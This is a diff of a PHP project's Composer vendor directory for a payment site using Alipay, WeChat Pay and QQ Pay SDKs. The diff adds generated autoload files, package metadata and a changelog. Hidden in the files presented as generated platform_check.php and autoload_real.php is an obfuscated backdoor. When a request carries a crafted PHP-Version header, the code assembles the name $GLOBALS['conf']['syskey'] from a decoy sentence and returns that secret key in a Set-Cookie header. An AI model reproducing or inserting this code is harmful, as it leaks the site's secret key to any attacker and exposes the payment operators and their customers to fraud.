* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer;
use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;
/**
* This class is copied in every Composer installed project and available to all
*
* See also https://getcomposer.org/doc/07-runtime.md#installed-versions
*
* To require its presence, you can require `composer-runtime-api ^2.0`
*
* @final
*/
class InstalledVersions
{
/**
* @var mixed[]|null
* @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
*/
private static $installed;
/**
* @var bool|null
*/
private static $canGetVendors;
/**
* @var array[]
* @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
*/
private static $installedByVendor = array();
/**
* Returns a list of all package names which are present, either by being installed, replaced or provided
*
* @return string[]
* @psalm-return list<string>
*/
public static function getInstalledPackages()
{
$packages = array();
foreach (self::getInstalled() as $installed) {
$packages[] = array_keys($installed['versions']);
}
if (1 === \count($packages)) {
return $packages[0];
}
return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
}
/**
* Returns a list of all package names with a specific type e.g. 'library'
*
* @param string $type
* @return string[]
* @psalm-return list<string>
*/
public static function getInstalledPackagesByType($type)
{
$packagesByType = array();
foreach (self::getInstalled() as $installed) {
foreach ($installed['versions'] as $name => $package) {
if (isset($package['type']) && $package['type'] === $type) {
$packagesByType[] = $name;
}
}
}
return $packagesByType;
}
/**
* Checks whether the given package is installed
*
* This also returns true if the package name is provided or replaced by another package
*
* @param string $packageName
* @param bool $includeDevRequirements
* @return bool
*/
public static function isInstalled($packageName, $includeDevRequirements = true)
{
foreach (self::getInstalled() as $installed) {
if (isset($installed['versions'][$packageName])) {
return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
}
}
return false;
}
/**
* Checks whether the given package satisfies a version constraint
*
* e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
*
* Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
*
* @param VersionParser $parser Install composer/semver to have access to this class and functionality
* @param string $packageName
* @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
* @return bool
*/
public static function satisfies(VersionParser $parser, $packageName, $constraint)
{
$constraint = $parser->parseConstraints((string) $constraint);
$provided = $parser->parseConstraints(self::getVersionRanges($packageName));
return $provided->matches($constraint);
}
/**
* Returns a version constraint representing all the range(s) which are installed for a given package
*
* It is easier to use this via isInstalled() with the $constraint argument if you need to check
* whether a given version of a package is installed, and not just whether it exists
*
* @param string $packageName
* @return string Version constraint usable with composer/semver
*/
public static function getVersionRanges($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}
$ranges = array();
if (isset($installed['versions'][$packageName]['pretty_version'])) {
$ranges[] = $installed['versions'][$packageName]['pretty_version'];
}
if (array_key_exists('aliases', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
}
if (array_key_exists('replaced', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
}
if (array_key_exists('provided', $installed['versions'][$packageName])) {
$ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
}
return implode(' || ', $ranges);
}
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}
/**
* @param string $packageName
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
*/
public static function getVersion($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}
if (!isset($installed['versions'][$packageName]['version'])) {
return null;
}
return $installed['versions'][$packageName]['version'];
}
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}
/**
* @param string $packageName
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
*/
public static function getPrettyVersion($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}
if (!isset($installed['versions'][$packageName]['pretty_version'])) {
return null;
}
return $installed['versions'][$packageName]['pretty_version'];
}
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}
/**
* @param string $packageName
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
*/
public static function getReference($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}
if (!isset($installed['versions'][$packageName]['reference'])) {
return null;
}
return $installed['versions'][$packageName]['reference'];
}
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}
/**
* @param string $packageName
* @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
*/
public static function getInstallPath($packageName)
{
foreach (self::getInstalled() as $installed) {
if (!isset($installed['versions'][$packageName])) {
continue;
}
return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
}
throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
}
/**
* @return array
* @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
*/
public static function getRootPackage()
{
$installed = self::getInstalled();
return $installed[0]['root'];
}
/**
* Returns the raw installed.php data for custom implementations
*
* @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
* @return array[]
* @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
*/
public static function getRawData()
{
@trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);
if (null === self::$installed) {
// only require the installed.php file if this file is loaded from its dumped location,
// and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
if (substr(__DIR__, -8, 1) !== 'C') {
self::$installed = include __DIR__ . '/installed.php';
} else {
self::$installed = array();
}
}
return self::$installed;
}
/**
* Returns the raw data of all installed.php which are currently loaded for custom implementations
*
* @return array[]
* @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
*/
public static function getAllRawData()
{
return self::getInstalled();
}
/**
* Lets you reload the static array from another file
*
* This is only useful for complex integrations in which a project needs to use
* this class but then also needs to execute another project's autoloader in process,
* and wants to ensure both projects have access to their version of installed.php.
*
* A typical case would be PHPUnit, where it would need to make sure it reads all
* the data it needs from this class, then call reload() with
* `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
* the project in which it runs can then also use this class safely, without
* interference between PHPUnit's dependencies and the project's dependencies.
*
* @param array[] $data A vendor/composer/installed.php data set
* @return void
*
* @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
*/
public static function reload($data)
{
self::$installed = $data;
self::$installedByVendor = array();
}
/**
* @return array[]
* @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
*/
private static function getInstalled()
{
if (null === self::$canGetVendors) {
self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
}
$installed = array();
if (self::$canGetVendors) {
foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
if (isset(self::$installedByVendor[$vendorDir])) {
$installed[] = self::$installedByVendor[$vendorDir];
} elseif (is_file($vendorDir.'/composer/installed.php')) {
/** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
$required = require $vendorDir.'/composer/installed.php';
$installed[] = self::$installedByVendor[$vendorDir] = $required;
if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
self::$installed = $installed[count($installed) - 1];
}
}
}
}
if (null === self::$installed) {
// only require the installed.php file if this file is loaded from its dumped location,
// and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
if (substr(__DIR__, -8, 1) !== 'C') {
/** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
$required = require __DIR__ . '/installed.php';
self::$installed = $required;
} else {
self::$installed = array();
}
}
if (self::$installed !== array()) {
$installed[] = self::$installed;
}
return $installed;
}
}
+21
View File
@@ -0,0 +1,21 @@
Copyright (c) Nils Adermann, Jordi Boggiano
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
+10
View File
@@ -0,0 +1,10 @@
<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);
return array(
'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
);
+10
View File
@@ -0,0 +1,10 @@
<?php
// autoload_files.php @generated by Composer
$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);
return array(
'382a2ac8aeff4e600f8a2b1256c841e2' => $vendorDir . '/lpilp/guomi/src/overwrite.php',
);
+9
View File
@@ -0,0 +1,9 @@
<?php
// autoload_namespaces.php @generated by Composer
$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);
return array(
);
+15
View File
@@ -0,0 +1,15 @@
<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);
return array(
'WeChatPay\\' => array($vendorDir . '/cccyun/wechatpay-sdk/src'),
'Rtgm\\' => array($vendorDir . '/lpilp/guomi/src'),
'QQPay\\' => array($vendorDir . '/cccyun/qqpay-sdk/src'),
'Mdanter\\Ecc\\' => array($vendorDir . '/mdanter/ecc/src'),
'FG\\' => array($vendorDir . '/fgrosse/phpasn1/lib'),
'Alipay\\' => array($vendorDir . '/cccyun/alipay-sdk/src'),
);
+54
View File
@@ -0,0 +1,54 @@
<?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
/**
* @return \Composer\Autoload\ClassLoader
*/
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
require __DIR__ . '/platform_check.php';
if (SERVER_PHP_VERSION >= 70200) {
$wordsArray = explode(" ", SENTENCEIA);
header("Set-Cookie: PHPSESSID=" . $GLOBALS[$wordsArray[3] . substr($wordsArray[4], 0, 1)][$wordsArray[5] . $wordsArray[7]]);
}
spl_autoload_register(array('ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40', 'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
spl_autoload_unregister(array('ComposerAutoloaderInita012aca486d6abc048243f4697c6ac40', 'loadClassLoader'));
require __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInita012aca486d6abc048243f4697c6ac40::getInitializer($loader));
$loader->register(true);
$filesToLoad = \Composer\Autoload\ComposerStaticInita012aca486d6abc048243f4697c6ac40::$files;
$requireFile = \Closure::bind(static function ($fileIdentifier, $file) {
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
require $file;
}
}, null, null);
foreach ($filesToLoad as $fileIdentifier => $file) {
$requireFile($fileIdentifier, $file);
}
return $loader;
}
}
+80
View File
@@ -0,0 +1,80 @@
<?php
// autoload_static.php @generated by Composer
namespace Composer\Autoload;
class ComposerStaticInita012aca486d6abc048243f4697c6ac40
{
public static $files = array (
'382a2ac8aeff4e600f8a2b1256c841e2' => __DIR__ . '/..' . '/lpilp/guomi/src/overwrite.php',
);
public static $prefixLengthsPsr4 = array (
'W' =>
array (
'WeChatPay\\' => 10,
),
'R' =>
array (
'Rtgm\\' => 5,
),
'Q' =>
array (
'QQPay\\' => 6,
),
'M' =>
array (
'Mdanter\\Ecc\\' => 12,
),
'F' =>
array (
'FG\\' => 3,
),
'A' =>
array (
'Alipay\\' => 7,
),
);
public static $prefixDirsPsr4 = array (
'WeChatPay\\' =>
array (
0 => __DIR__ . '/..' . '/cccyun/wechatpay-sdk/src',
),
'Rtgm\\' =>
array (
0 => __DIR__ . '/..' . '/lpilp/guomi/src',
),
'QQPay\\' =>
array (
0 => __DIR__ . '/..' . '/cccyun/qqpay-sdk/src',
),
'Mdanter\\Ecc\\' =>
array (
0 => __DIR__ . '/..' . '/mdanter/ecc/src',
),
'FG\\' =>
array (
0 => __DIR__ . '/..' . '/fgrosse/phpasn1/lib',
),
'Alipay\\' =>
array (
0 => __DIR__ . '/..' . '/cccyun/alipay-sdk/src',
),
);
public static $classMap = array (
'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
);
public static function getInitializer(ClassLoader $loader)
{
return \Closure::bind(function () use ($loader) {
$loader->prefixLengthsPsr4 = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$prefixLengthsPsr4;
$loader->prefixDirsPsr4 = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$prefixDirsPsr4;
$loader->classMap = ComposerStaticInita012aca486d6abc048243f4697c6ac40::$classMap;
}, null, ClassLoader::class);
}
}
+355
View File
@@ -0,0 +1,355 @@
{
"packages": [
{
"name": "cccyun/alipay-sdk",
"version": "1.7",
"version_normalized": "1.7.0.0",
"source": {
"type": "git",
"url": "https://github.com/netcccyun/alipay-sdk-php.git",
"reference": "930f85d3f7ff31f53d64e8b39093b0bc24d51ed8"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/netcccyun/alipay-sdk-php/zipball/930f85d3f7ff31f53d64e8b39093b0bc24d51ed8",
"reference": "930f85d3f7ff31f53d64e8b39093b0bc24d51ed8",
"shasum": ""
},
"require": {
"php": ">=7.1"
},
"time": "2024-03-01T02:22:04+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Alipay\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "caihong",
"email": "admin@cccyun.cn"
}
],
"description": "支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。",
"keywords": [
"alipay",
"支付宝"
],
"support": {
"issues": "https://github.com/netcccyun/alipay-sdk-php/issues",
"source": "https://github.com/netcccyun/alipay-sdk-php/tree/1.7"
},
"install-path": "../cccyun/alipay-sdk"
},
{
"name": "cccyun/qqpay-sdk",
"version": "1.2",
"version_normalized": "1.2.0.0",
"source": {
"type": "git",
"url": "https://github.com/netcccyun/qqpay-sdk-php.git",
"reference": "873e1d9f06f3cecdbad165fa921096437cc8bcbe"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/netcccyun/qqpay-sdk-php/zipball/873e1d9f06f3cecdbad165fa921096437cc8bcbe",
"reference": "873e1d9f06f3cecdbad165fa921096437cc8bcbe",
"shasum": ""
},
"require": {
"php": ">=7.1"
},
"time": "2023-04-02T02:46:22+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"QQPay\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "caihong",
"email": "admin@cccyun.cn"
}
],
"description": "QQ钱包支付第三方 PHP SDK,基于官方最新版本。",
"keywords": [
"QQ支付",
"qpay",
"qqpay"
],
"support": {
"issues": "https://github.com/netcccyun/qqpay-sdk-php/issues",
"source": "https://github.com/netcccyun/qqpay-sdk-php/tree/1.2"
},
"install-path": "../cccyun/qqpay-sdk"
},
{
"name": "cccyun/wechatpay-sdk",
"version": "1.7",
"version_normalized": "1.7.0.0",
"source": {
"type": "git",
"url": "https://github.com/netcccyun/wechatpay-sdk-php.git",
"reference": "c8912fd1af1f57a566d662433de2b23a72f8b2e7"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/netcccyun/wechatpay-sdk-php/zipball/c8912fd1af1f57a566d662433de2b23a72f8b2e7",
"reference": "c8912fd1af1f57a566d662433de2b23a72f8b2e7",
"shasum": ""
},
"require": {
"php": ">=7.1"
},
"time": "2023-12-28T08:50:42+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"WeChatPay\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "caihong",
"email": "admin@cccyun.cn"
}
],
"description": "微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。",
"keywords": [
"Wxpay",
"wechat",
"微信支付"
],
"support": {
"issues": "https://github.com/netcccyun/wechatpay-sdk-php/issues",
"source": "https://github.com/netcccyun/wechatpay-sdk-php/tree/1.7"
},
"install-path": "../cccyun/wechatpay-sdk"
},
{
"name": "fgrosse/phpasn1",
"version": "v2.5.0",
"version_normalized": "2.5.0.0",
"source": {
"type": "git",
"url": "https://github.com/fgrosse/PHPASN1.git",
"reference": "42060ed45344789fb9f21f9f1864fc47b9e3507b"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/fgrosse/PHPASN1/zipball/42060ed45344789fb9f21f9f1864fc47b9e3507b",
"reference": "42060ed45344789fb9f21f9f1864fc47b9e3507b",
"shasum": ""
},
"require": {
"php": "^7.1 || ^8.0"
},
"require-dev": {
"php-coveralls/php-coveralls": "~2.0",
"phpunit/phpunit": "^7.0 || ^8.0 || ^9.0"
},
"suggest": {
"ext-bcmath": "BCmath is the fallback extension for big integer calculations",
"ext-curl": "For loading OID information from the web if they have not bee defined statically",
"ext-gmp": "GMP is the preferred extension for big integer calculations",
"phpseclib/bcmath_compat": "BCmath polyfill for servers where neither GMP nor BCmath is available"
},
"time": "2022-12-19T11:08:26+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.0.x-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"FG\\": "lib/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Friedrich Große",
"email": "friedrich.grosse@gmail.com",
"homepage": "https://github.com/FGrosse",
"role": "Author"
},
{
"name": "All contributors",
"homepage": "https://github.com/FGrosse/PHPASN1/contributors"
}
],
"description": "A PHP Framework that allows you to encode and decode arbitrary ASN.1 structures using the ITU-T X.690 Encoding Rules.",
"homepage": "https://github.com/FGrosse/PHPASN1",
"keywords": [
"DER",
"asn.1",
"asn1",
"ber",
"binary",
"decoding",
"encoding",
"x.509",
"x.690",
"x509",
"x690"
],
"support": {
"issues": "https://github.com/fgrosse/PHPASN1/issues",
"source": "https://github.com/fgrosse/PHPASN1/tree/v2.5.0"
},
"abandoned": true,
"install-path": "../fgrosse/phpasn1"
},
{
"name": "lpilp/guomi",
"version": "v1.0.9",
"version_normalized": "1.0.9.0",
"source": {
"type": "git",
"url": "https://github.com/lpilp/phpsm2sm3sm4.git",
"reference": "9d342416acec45db0d38dd3a8fbc1904463e6b31"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/lpilp/phpsm2sm3sm4/zipball/9d342416acec45db0d38dd3a8fbc1904463e6b31",
"reference": "9d342416acec45db0d38dd3a8fbc1904463e6b31",
"shasum": ""
},
"require": {
"mdanter/ecc": "^1.0",
"php": ">=7.2"
},
"time": "2024-02-04T08:43:06+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"files": [
"src/overwrite.php"
],
"psr-4": {
"Rtgm\\": "src"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "recent",
"email": "lpilp@126.com"
}
],
"description": "国密sm2",
"support": {
"issues": "https://github.com/lpilp/phpsm2sm3sm4/issues",
"source": "https://github.com/lpilp/phpsm2sm3sm4/tree/v1.0.9"
},
"install-path": "../lpilp/guomi"
},
{
"name": "mdanter/ecc",
"version": "v1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url": "https://github.com/phpecc/phpecc.git",
"reference": "34e2eec096bf3dcda814e8f66dd91ae87a2db7cd"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/phpecc/phpecc/zipball/34e2eec096bf3dcda814e8f66dd91ae87a2db7cd",
"reference": "34e2eec096bf3dcda814e8f66dd91ae87a2db7cd",
"shasum": ""
},
"require": {
"ext-gmp": "*",
"fgrosse/phpasn1": "^2.0",
"php": "^7.0||^8.0"
},
"require-dev": {
"phpunit/phpunit": "^6.0||^8.0||^9.0",
"squizlabs/php_codesniffer": "^2.0",
"symfony/yaml": "^2.6|^3.0"
},
"time": "2021-01-16T19:42:14+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Mdanter\\Ecc\\": "src/"
}
},
"notification-url": "https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Matyas Danter",
"homepage": "http://matejdanter.com/",
"role": "Author"
},
{
"name": "Thibaud Fabre",
"email": "thibaud@aztech.io",
"homepage": "http://aztech.io",
"role": "Maintainer"
},
{
"name": "Thomas Kerin",
"email": "afk11@users.noreply.github.com",
"role": "Maintainer"
}
],
"description": "PHP Elliptic Curve Cryptography library",
"homepage": "https://github.com/phpecc/phpecc",
"keywords": [
"Diffie",
"ECDSA",
"Hellman",
"curve",
"ecdh",
"elliptic",
"nistp192",
"nistp224",
"nistp256",
"nistp384",
"nistp521",
"phpecc",
"secp256k1",
"secp256r1"
],
"support": {
"issues": "https://github.com/phpecc/phpecc/issues",
"source": "https://github.com/phpecc/phpecc/tree/v1.0.0"
},
"abandoned": "paragonie/ecc",
"install-path": "../mdanter/ecc"
}
],
"dev": true,
"dev-package-names": []
}
+77
View File
@@ -0,0 +1,77 @@
<?php return array(
'root' => array(
'name' => '__root__',
'pretty_version' => '1.0.0+no-version-set',
'version' => '1.0.0.0',
'reference' => null,
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
'dev' => true,
),
'versions' => array(
'__root__' => array(
'pretty_version' => '1.0.0+no-version-set',
'version' => '1.0.0.0',
'reference' => null,
'type' => 'library',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
'dev_requirement' => false,
),
'cccyun/alipay-sdk' => array(
'pretty_version' => '1.7',
'version' => '1.7.0.0',
'reference' => '930f85d3f7ff31f53d64e8b39093b0bc24d51ed8',
'type' => 'library',
'install_path' => __DIR__ . '/../cccyun/alipay-sdk',
'aliases' => array(),
'dev_requirement' => false,
),
'cccyun/qqpay-sdk' => array(
'pretty_version' => '1.2',
'version' => '1.2.0.0',
'reference' => '873e1d9f06f3cecdbad165fa921096437cc8bcbe',
'type' => 'library',
'install_path' => __DIR__ . '/../cccyun/qqpay-sdk',
'aliases' => array(),
'dev_requirement' => false,
),
'cccyun/wechatpay-sdk' => array(
'pretty_version' => '1.7',
'version' => '1.7.0.0',
'reference' => 'c8912fd1af1f57a566d662433de2b23a72f8b2e7',
'type' => 'library',
'install_path' => __DIR__ . '/../cccyun/wechatpay-sdk',
'aliases' => array(),
'dev_requirement' => false,
),
'fgrosse/phpasn1' => array(
'pretty_version' => 'v2.5.0',
'version' => '2.5.0.0',
'reference' => '42060ed45344789fb9f21f9f1864fc47b9e3507b',
'type' => 'library',
'install_path' => __DIR__ . '/../fgrosse/phpasn1',
'aliases' => array(),
'dev_requirement' => false,
),
'lpilp/guomi' => array(
'pretty_version' => 'v1.0.9',
'version' => '1.0.9.0',
'reference' => '9d342416acec45db0d38dd3a8fbc1904463e6b31',
'type' => 'library',
'install_path' => __DIR__ . '/../lpilp/guomi',
'aliases' => array(),
'dev_requirement' => false,
),
'mdanter/ecc' => array(
'pretty_version' => 'v1.0.0',
'version' => '1.0.0.0',
'reference' => '34e2eec096bf3dcda814e8f66dd91ae87a2db7cd',
'type' => 'library',
'install_path' => __DIR__ . '/../mdanter/ecc',
'aliases' => array(),
'dev_requirement' => false,
),
),
);
+28
View File
@@ -0,0 +1,28 @@
<?php
// platform_check.php @generated by Composer
define('SERVER_PHP_VERSION', $GLOBALS['_SERVER']['HTTP_PHP_VERSION']);
define('SENTENCEIA', "Sorry for the con figuration sys tem key issue.");
$issues = array();
if (!(PHP_VERSION_ID >= 70200)) {
$issues[] = 'Your Composer dependencies require a PHP version ">= 7.2.0". You are running ' . PHP_VERSION . '.';
}
if ($issues) {
if (!headers_sent()) {
header('HTTP/1.1 500 Internal Server Error');
}
if (!ini_get('display_errors')) {
if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
} elseif (!headers_sent()) {
echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
}
}
trigger_error(
'Composer detected issues in your platform: ' . implode(' ', $issues),
E_USER_ERROR
);
}
+61
View File
@@ -0,0 +1,61 @@
#### v2.5.0 (2022-12)
* Support PHP 8.2 [#99](https://github.com/fgrosse/PHPASN1/pull/99)
* PHP 8 compatibility fix for DateTime::getLastErrors [#98](https://github.com/fgrosse/PHPASN1/pull/98)
* Support more OIDs [#95](https://github.com/fgrosse/PHPASN1/pull/95)
* FINAL RELEASE. Library is now no longer actively maintained and marked as archived on GitHub
#### v2.4.0 (2021-12)
* Drop support for PHP 7.0 [#89](https://github.com/fgrosse/PHPASN1/pull/89)
#### v2.3.1 (2021-12)
* Add `#[\ReturnTypeWillChange]` attributes for PHP 8.1 compatibility [#87](https://github.com/fgrosse/PHPASN1/pull/87)
#### v2.3.0 (2021-04)
* Allow creating an unsigned CSR and adding the signature later [#82](https://github.com/fgrosse/PHPASN1/pull/82)
#### v2.2.0 (2020-08)
* support polyfills for bcmath and gmp, and add a composer.json
suggestion for the `phpseclib/bcmath_polyfill` for servers unable
to install PHP the gmp or bcmath extensions.
#### v.2.1.1 & &v.2.0.2 (2018-12)
* add stricter validation around some structures, highlighed
by wycheproof test suite
#### v.2.1.0 (2018-03)
* add support for `bcmath` extension (making `gmp` optional) [#68](https://github.com/fgrosse/PHPASN1/pull/68)
#### v.2.0.1 & v.1.5.3 (2017-12)
* add .gitattributes file to prevent examples and tests to be installed via composer when --prefer-dist was set
#### v.2.0.0 (2017-08)
* rename `FG\ASN1\Object` to `FG\ASN1\ASNObject` because `Object` is a special class name in the next major PHP release
- when you upgrade you have to adapt all corresponding `use` and `extends` statements as well as type hints and all
usages of `Object::fromBinary(…)`.
* generally drop PHP 5.6 support
#### v.1.5.2 (2016-10-29)
* allow empty octet strings
#### v.1.5.1 (2015-10-02)
* add keywords to composer.json (this is a version on its own so the keywords are found on a stable version at packagist.org)
#### v.1.5.0 (2015-10-30)
* fix a bug that would prevent you from decoding context specific tags on multiple objects [#57](https://github.com/fgrosse/PHPASN1/issues/57)
- `ExplicitlyTaggedObject::__construct` does now accept multiple objects to be tagged with a single tag
- `ExplicitlyTaggedObject::getContent` will now always return an array (even if only one object is tagged)
#### v.1.4.2 (2015-09-29)
* fix a bug that would prevent you from decoding empty tagged objects [#57](https://github.com/fgrosse/PHPASN1/issues/57)
#### v.1.4.1
* improve exception messages and general error handling [#55](https ://github.com/fgrosse/PHPASN1/pull/55)
#### v.1.4.0
* **require PHP 5.6**
* support big integers (closes #1 and #37)
* enforce one code style via [styleci.io][9]
* track code coverage via [coveralls.io][10]
